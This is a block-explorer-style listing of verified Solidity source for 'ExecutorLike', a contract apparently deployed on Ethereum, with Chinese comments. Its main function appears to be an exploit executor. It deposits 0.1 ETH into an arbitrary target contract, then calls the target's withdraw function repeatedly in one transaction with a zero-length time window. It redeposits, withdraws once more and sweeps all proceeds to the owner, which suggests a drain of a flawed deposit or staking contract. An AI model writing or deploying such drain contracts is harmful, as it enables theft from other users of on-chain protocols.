ExecutorLike

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

contract ExecutorLike {
    // ---------- constants ----------
    uint256 constant A = 11;
    uint256 constant B = 30;
    uint256 constant C = 75;

    // ---------- custom errors ----------
    error NotOwner();
    error EmptyCount();
    error CallFailed();

    // ---------- state ----------
    address payable public owner;
    constructor() {
        owner = payable(msg.sender);
    }

    modifier onlyOwner() {
        if (msg.sender != owner) revert NotOwner();
        _;
    }

    // 允许接收 ETH(关键!否则 target 往回转账会导致整个调用 revert)
    receive() external payable {}

    // 把 address 压成 uint256(与目标合约 withdraw 的第一个 uint 参数对齐)
    function _addrU(address a) internal pure returns (uint256) {
        return uint256(uint160(a));
    }
    // ========== 提取全部 ETH ==========
    function sweepETH() external onlyOwner {
        (bool ok, ) = owner.call{value: address(this).balance}("");
        if (!ok) revert CallFailed();
    }


    function multicallAndFinalize(
    address target,
    uint256 count,
    bytes4 withdrawSelector,
    bytes4 depositSelector
) external payable onlyOwner {
    if (count == 0) revert EmptyCount();

    // ---- tx1: 第一次入金,用你这笔外部调用附带的 ETH 的一部分或全部 ----
    // 若你想第一次固定 0.1 ETH,而保留余下的 msg.value 给第二次入金,可把两次金额拆成两个参数更清晰。
    uint256 amount1 = 0.1 ether;
    (bool ok1, ) = target.call{value: amount1}(
        abi.encodeWithSelector(depositSelector, A, B, C)
    );
    if (!ok1) revert CallFailed();

    // 记录本笔交易的块时间(同一笔 tx 内恒定)
    uint256 t0 = block.timestamp;

    // ---- tx2.step1: 循环 withdraw (时间区间用 t0,t0)----
    uint256 userU = _addrU(address(this));
    bytes memory cdW = abi.encodeWithSelector(
        withdrawSelector,
        userU, A, B, C,
        t0, t0
    );
    for (uint256 i = 0; i < count; ) {
        (bool okw, ) = target.call(cdW);
        if (!okw) revert CallFailed();
        unchecked { ++i; }
    }

    // ---- tx2.step2: 第二次入金:这里用“本次外部调用剩余余额”更贴合你的注释 ----
    // 方案1:用“当前合约余额的一部分/全部”
    uint256 amount2 = address(this).balance; // 或者传入一个专门的参数
    if (amount2 > 0) {
        (bool ok2, ) = target.call{value: amount2}(
            abi.encodeWithSelector(depositSelector, A, B, C)
        );
        if (!ok2) revert CallFailed();
    }

    // ---- tx2.step3: 最后一笔 withdraw,使用当前块时间(与 t0 相同,但语义“最后一次”)----
    uint256 t1 = block.timestamp;
    bytes memory cdW2 = abi.encodeWithSelector(
        withdrawSelector,
        userU, A, B, C,
        t1, t1
    );
    (bool ok3, ) = target.call(cdW2);
    if (!ok3) revert CallFailed();

    // ---- 收尾:把执行器余额打回给 owner ----
    uint256 bal = address(this).balance;
    if (bal != 0) {
        (bool ok4, ) = owner.call{value: bal}("");
        if (!ok4) revert CallFailed();
    }
}

}

Tags:
addr:0x47a36c4169f90164f4be120c54b0c4dedf615956|verified:true|block:23541245|tx:0x78e02cdcd9084f591e746eaf2fd46ce6b627edc298ec4f6f66c05fb28f1bfd88|first_check:1760029434

Submitted on: 2025-10-09 19:03:54

Comments

Log in to comment.

No comments yet.